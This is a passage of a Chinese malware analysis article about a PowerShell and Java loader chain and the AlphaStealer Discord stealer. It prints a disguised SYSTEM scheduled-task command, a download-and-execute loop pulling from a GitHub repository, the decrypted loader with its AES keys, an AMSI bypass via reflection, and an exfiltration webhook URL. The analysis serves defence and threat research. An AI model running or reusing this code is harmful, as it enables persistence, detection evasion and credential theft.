0.4);border-radius: 0px;"><p><span leaf="">schtasks /query /TN &#34;netspi-admin&#34; /FO LIST /V</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">查询名为 netspi-admin 的计划任务。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">schtasks /query /TN &#34;netspi-ls&#34; /FO LIST /V</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">查询名为 netspi-ls 的计划任务。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">schtasks /query /TN &#34;Windows Defender Scan&#34; /FO LIST /V</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">查询名为 Windows Defender Scan 的计划任务，名称伪装为系统安全任务。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">schtasks /Create /TN &#34;Windows Defender Scan&#34; /TR &#34;powershell -w hidden -nop -noni -exec bypass -c Get-Content -Path C:\Users\Public\AccountPictures\picture.png | iex&#34; /RU &#34;SYSTEM&#34; /SC MINUTE /MO 15</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">创建伪装任务 Windows Defender Scan，每 15 分钟以 SYSTEM 权限执行 PowerShell，从 picture.png 读取脚本并运行，实现高权限持久化。</span></p></td></tr></tbody></table></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100030541" data-ratio="0.6148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=36f9afa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2N8ZKIyQtLviaZibkRQmtia4L4IMjILwUATPZ01uvP6pHYxNVH6mgjewV6CphzOj4gUbvewM7JRs2A1y0d2yicSTmMYbLSWl1zBFiaE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">picture.png/library.lib文件是一个PowerShell 下载执行器，它持续从GitHub 下载.doc的远程脚本并直接在内存中执行。解码后的内容如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">while ($true) {try {$wc = New-Object System.Net.WebClient; $wc.Headers.Add(&#39;User-Agent&#39;, &#39;Mozilla/5.0&#39;); $s = $wc.DownloadString(&#39;<a href="https://raw.githubusercontent.com/nonamebaba/0/main/document.doc" target="_blank">https://raw.githubusercontent.com/nonamebaba/0/main/document.doc</a>&#39;); if ($s) {break}} catch {Start-Sleep 0.5}}; iex $s</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">document.doc（MD5：164578b9c0d4c2342c993d248615cf18）是一个Powershell脚本，通过内置AES-256密钥解密Base64 payload，然后在内存中构造 ScriptBlock并执行，实现加密隐藏的PowerShell恶意代码加载。AES Key为&#34;LpuJIAOc2GOF61Ur11ovpeDaN4fmK5XOhq4GDBs0rr4=&#34;，AES IV为&#34;6yzYPI35ZzO4wjH0xfCxRg==&#34;</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">$BR7iG = [Convert]::FromBase64String(&#39;LpuJIAOc2GOF61Ur11ovpeDaN4fmK5XOhq4GDBs0rr4=&#39;)</span><span leaf=""><br/></span><span leaf="">$reCJ2 = [Convert]::FromBase64String(&#39;6yzYPI35ZzO4wjH0xfCxRg==&#39;)</span><span leaf=""><br/></span><span leaf="">$r3MdhK = [Security.Cryptography.AesCryptoServiceProvider]::new()</span><span leaf=""><br/></span><span leaf="">$r3MdhK.Key = $BR7iG</span><span leaf=""><br/></span><span leaf="">$r3MdhK.IV = $reCJ2</span><span leaf=""><br/></span><span leaf="">$DidhZ = $r3MdhK.CreateDecryptor()</span><span leaf=""><br/></span><span leaf="">function global:J04zNu {</span><span leaf=""><br/></span><span leaf="">    param([Parameter(Mandatory=$true)][string]$Data)</span><span leaf=""><br/></span><span leaf="">    $bytes = [Convert]::FromBase64String($Data)</span><span leaf=""><br/></span><span leaf="">    $decrypted = $DidhZ.TransformFinalBlock($bytes, 0, $bytes.Length)</span><span leaf=""><br/></span><span leaf="">    return [Text.Encoding]::UTF8.GetString($decrypted)</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">$J5Ai4 = &#39;q/gDvd2kn/Zp8Ps......hLiknkfe70SO7A==&#39;</span><span leaf=""><br/></span><span leaf="">$wCNt = J04zNu -Data $J5Ai4</span><span leaf=""><br/></span><span leaf="">$dNle7eGC = [Scriptblock]::Create($wCNt)</span><span leaf=""><br/></span><span leaf="">&amp; $dNle7eGC</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">解密后的脚本内容如下所示，该脚本会检测Java运行环境，若不存在则会在用户目录从下载安装Java运行环境并隐藏，从GitHub下载伪装为图片（background.png）的Jar Payload并执行，同时通过Boot标记实现</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">每次开机仅执行一次</span></strong><span leaf="">的持久化加载。脚本中使用的隐藏目录名称为.craftrise，而Craftrise 是一个土耳其的 Minecraft 服务器网络，其官方启动器在部分情况下会在用户目录创建类似.craftrise的文件结构。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">$u = Get-ChildItem &#34;C:\Users&#34; | Where-Object { $_.Name -notin @(&#34;Default&#34;, &#34;Public&#34;) }</span><span leaf=""><br/></span><span leaf="">foreach ($ua in $u) {</span><span leaf=""><br/></span><span leaf="">    $ub = [System.IO.Path]::Combine($ua.FullName, &#34;AppData&#34;, &#34;Roaming&#34;)</span><span leaf=""><br/></span><span leaf="">    if (Test-Path $ub) {</span><span leaf=""><br/></span><span leaf="">        if ((Get-Acl $ub).AccessToString -match &#34;FullControl&#34;) {</span><span leaf=""><br/></span><span leaf="">            $uc = $ub</span><span leaf=""><br/></span><span leaf="">            break</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">if (-not $uc) { $uc = &#34;C:\Users\Public&#34; }</span><span leaf=""><br/></span><span leaf="">$a = (Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime</span><span leaf=""><br/></span><span leaf="">$b = $a.ToString(&#34;yyyyMMddHHmmss&#34;)</span><span leaf=""><br/></span><span leaf="">$c = &#34;$uc\Microsoft\Boot&#34;</span><span leaf=""><br/></span><span leaf="">if (-not (Test-Path -Path $c)) {</span><span leaf=""><br/></span><span leaf="">    New-Item -Path $c -ItemType File | Out-Null</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">if (-not (Select-String -Path $c -Pattern $b -Quiet)) {</span><span leaf=""><br/></span><span leaf="">    Set-Content -Path $c -Value &#34;$b&#34;</span><span leaf=""><br/></span><span leaf="">    function x {</span><span leaf=""><br/></span><span leaf="">        $jp = [System.IO.Path]::Combine($uc, &#34;.craftrise&#34;, &#34;java&#34;, &#34;jdk-x64&#34;, &#34;bin&#34;, &#34;java.exe&#34;)</span><span leaf=""><br/></span><span leaf="">        if (Test-Path -LiteralPath $jp) { if ((&amp;$jp -version 2&gt;&amp;1) -match &#34;version &#34;(1\.8|9|10|11)&#34;) { return $jp } }</span><span leaf=""><br/></span><span leaf="">        return $null</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    $h = &#39;Mozilla/5.0&#39;</span><span leaf=""><br/></span><span leaf="">    $jp = x</span><span leaf=""><br/></span><span leaf="">    $wc = New-Object System.Net.WebClient</span><span leaf=""><br/></span><span leaf="">    if (!$jp) {</span><span leaf=""><br/></span><span leaf="">        $cd = [System.IO.Path]::Combine($uc, &#34;.craftrise&#34;)</span><span leaf=""><br/></span><span leaf="">        mkdir $cd -Force</span><span leaf=""><br/></span><span leaf="">        $lz = [System.IO.Path]::Combine($cd, &#34;jre.lzma&#34;)</span><span leaf=""><br/></span><span leaf="">        $wc.Headers.Add(&#34;User-Agent&#34;, $h)</span><span leaf=""><br/></span><span leaf="">        $wc.DownloadFile(&#39;<a href="https://client.craftrise.network/api/launcher/libraries/jre-win-64-1.8.0_51.lzma" target="_blank">https://client.craftrise.network/api/launcher/libraries/jre-win-64-1.8.0_51.lzma</a>&#39;, $lz)</span><span leaf=""><br/></span><span leaf="">        $z7 = [System.IO.Path]::Combine($cd, &#34;7zr.exe&#34;)</span><span leaf=""><br/></span><span leaf="">        $wc.DownloadFile(&#39;<a href="https://7-zip.org/a/7zr.exe" target="_blank">https://7-zip.org/a/7zr.exe</a>&#39;, $z7)</span><span leaf=""><br/></span><span leaf="">        &amp; $z7 &#34;x&#34; &#34;&#34;$lz&#34;&#34; &#34;-o&#34;$cd&#34;&#34; &#34;-y&#34; &#34;-bsp0&#34; &#34;-bso0&#34;</span><span leaf=""><br/></span><span leaf="">        $jd = [System.IO.Path]::Combine($cd, &#34;java&#34;, &#34;jdk-x64&#34;)</span><span leaf=""><br/></span><span leaf="">        Add-Type -AssemblyName System.IO.Compression.FileSystem</span><span leaf=""><br/></span><span leaf="">        [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine($cd, &#34;jre&#34;), $jd)</span><span leaf=""><br/></span><span leaf="">        $jp = x</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    if ($jp) {</span><span leaf=""><br/></span><span leaf="">        $jp = [System.IO.Path]::Combine($uc, &#34;.craftrise&#34;, &#34;java&#34;, &#34;jdk-x64&#34;, &#34;bin&#34;, &#34;javaw.exe&#34;)</span><span leaf=""><br/></span><span leaf="">        $d = [System.IO.Path]::Combine($uc, &#34;Microsoft&#34;, &#34;Spelling&#34;, &#34;en-US&#34;)</span><span leaf=""><br/></span><span leaf="">        mkdir $d -Force</span><span leaf=""><br/></span><span leaf="">        $f = [System.IO.Path]::Combine($d, &#34;spells.zip&#34;)</span><span leaf=""><br/></span><span leaf="">        $wc.Headers.Add(&#34;User-Agent&#34;, $h)</span><span leaf=""><br/></span><span leaf="">        $wc.DownloadFile(&#34;<a href="https://raw.githubusercontent.com/nonamebaba/0/main/background.png" target="_blank">https://raw.githubusercontent.com/nonamebaba/0/main/background.png</a>&#34;, $f)</span><span leaf=""><br/></span><span leaf="">        &amp; $jp &#34;-jar&#34; &#34;&#34;$f&#34;&#34; *&gt;$null</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">run（MD5：d70547ce7b628853d2bfaec113c10436）也是一个Powershell脚本，Base64解密Deflate解压后得到第二个Powershell脚本执行，这里的第二个脚本经过AES解密后的内容与前面解密后的内存差不多，但是多了如下的AMSI绕过部分，通过反射修改字段amsiInitFailed，强制让AMSI初始化失败。其中AES Key为&#34;vjbrn8JsptO+aLkW+1jLCucSry/X9ujoIONTYBvVvDI=&#34;，AES IV为&#34;yTMDPWSSzRMiCF7CG3ljEg==&#34;。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">$tKe=[Ref].Assembly.GetType([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(&#39;U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=&#39;)));$0AV7=$tKe.GetField([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(&#39;YW1zaUluaXRGYWlsZWQ=&#39;)),&#39;NonPublic,Static&#39;);$PqcRy=$true;$0AV7.SetValue($null,$PqcRy);</span><span leaf=""><br/></span><span leaf="">[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12</span><span leaf=""><br/></span><span leaf="">[Net.ServicePointManager]::DefaultConnectionLimit=8</span><span leaf=""><br/></span><span leaf="">[Net.ServicePointManager]::Expect100Continue=$false</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">test文件为弹窗测试文件，调用.NET的Windows Forms API弹出一个消息框，消息内容Hello pizzas!</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">Add-Type -AssemblyName System.Windows.Forms</span><span leaf=""><br/></span><span leaf="">[System.Windows.Forms.MessageBox]::Show(&#34;Hello pizzas!&#34;, &#34;Epstein&#34;, [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">AES解密脚本</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">package</span></span><span leaf=""> main</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> (</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;crypto/aes&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;crypto/cipher&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;encoding/base64&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;fmt&#34;</span></span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">func</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">pkcs7Unpad</span></span><span style="line-height: 26px;"><span leaf="">(data []</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">byte</span></span><span leaf="">)</span></span><span leaf=""> []</span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">byte</span></span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> length := </span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">len</span></span><span leaf="">(data)</span><span leaf=""><br/></span><span leaf=""> unpadding := </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">int</span></span><span leaf="">(data[length</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">-1</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> data[:(length - unpadding)]</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">func</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf=""> keyB64 := </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;vjbrn8JsptO+aLkW+1jLCucSry/X9ujoIONTYBvVvDI=&#34;</span></span><span leaf=""><br/></span><span leaf=""> ivB64 := </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;yTMDPWSSzRMiCF7CG3ljEg==&#34;</span></span><span leaf=""><br/></span><span leaf=""> dataB64 := </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;D80aya4KCTGtlD7JqkobCe++lufVVwEacXKWNkkdNqDiSjr0+tocJRv+vBbPKHPWasxhKUgH1HobKaeUG1tmFQNZpTlPuuqxGlrjALEZak3BXAGsIaqk0krGNqhNFv6VOpsbqtEMMt7f6+MwwNj0JGRvFEqxk/R1n5YGMw......wvdKOF8++JnUyjVh6NuE86y0etQ+cBFu40agDESjwmdSfywOO4pSvUZNGfY6XC4LZkuy98bA9LXk2q4zr188NBC1ffoopMKjVsKFY6d4tkvsouu95LujWwTK7QSQI++WFRLEvOB4qhAG7GdZGMx/c0cd9pvVMmLcUY=&#34;</span></span><span leaf=""><br/></span><span leaf=""> key, _ := base64.StdEncoding.DecodeString(keyB64)</span><span leaf=""><br/></span><span leaf=""> iv, _ := base64.StdEncoding.DecodeString(ivB64)</span><span leaf=""><br/></span><span leaf=""> ciphertext, _ := base64.StdEncoding.DecodeString(dataB64)</span><span leaf=""><br/></span><span leaf=""> block, _ := aes.NewCipher(key)</span><span leaf=""><br/></span><span leaf=""> mode := cipher.NewCBCDecrypter(block, iv)</span><span leaf=""><br/></span><span leaf=""> mode.CryptBlocks(ciphertext, ciphertext)</span><span leaf=""><br/></span><span leaf=""> plaintext := pkcs7Unpad(ciphertext)</span><span leaf=""><br/></span><span leaf=""> fmt.Println(</span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">string</span></span><span leaf="">(plaintext))</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">dc.js（MD5：ffef7f5b292ce5e01c253a60487f905d）是一个针对 Discord 的 Electron 客户端注入型信息窃取程序，会窃取 Token、账号凭据、支付信息和系统信息，并通过 Webhook 回传，回传地址为hxxps://discord[.]com/api/webhooks/1457506189960019978/WhCoNt4n7wIwAkVI_KLjkLKYyjsCPTXotvCGYDkSkmAS1vp5KmU_C2NK2OylK24Zmzl0。其代码中包含AlphaStealer，比如Developed By AlphaStealer、AlphaStealer - Injection。</span></p><p data-tool="mdnice编辑器" style="margin: 0px;padding: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">功能模块</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">具体行为</span></p></th><th style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: left top no-repeat rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">窃取目标列表</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">Webhook通信</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">将收集到的数据通过HTTP POST发送到攻击者配置的Webhook</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">Token、账户信息、系统信息、支付信息、好友列表、服务器列表</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">客户端注入</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">修改Discord客户端resources/app/index.js，加载远程恶意脚本并替换启动逻辑</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">持久化控制客户端执行环境</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">Token获取</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">通过Discord内部webpack模块调用getToken()获取当前登录 Token</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">Discord Token</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">网络请求监听</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">使用Electron webContents.debugger监听客户端 API 请求与响应</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">登录数据、认证请求、支付请求</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">登录凭据窃取</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">捕获/auth/login请求参数</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">邮箱地址、登录密码</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">二次验证窃取</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">捕获/mfa/*请求数据</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">2FA 验证码、MFA Token</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">账户信息收集</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">调用/users/@me API获取账户资料</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">用户ID、用户名、邮箱、手机号、Nitro状态、账户标识</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">支付信息窃取</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">监听Stripe与PayPal支付相关请求</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">信用卡号、CVC、过期时间、账单地址、PayPal 账户信息</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">好友列表收集</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">调用/users/@me/relationships获取好友列表并筛选价值较高账户</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">好友ID、用户名、关系类型</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">服务器信息收集</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">调用/users/@me/guilds获取服务器信息并筛选成员数较大的服务器</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">服务器ID、服务器名称、成员数量、管理员权限</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span 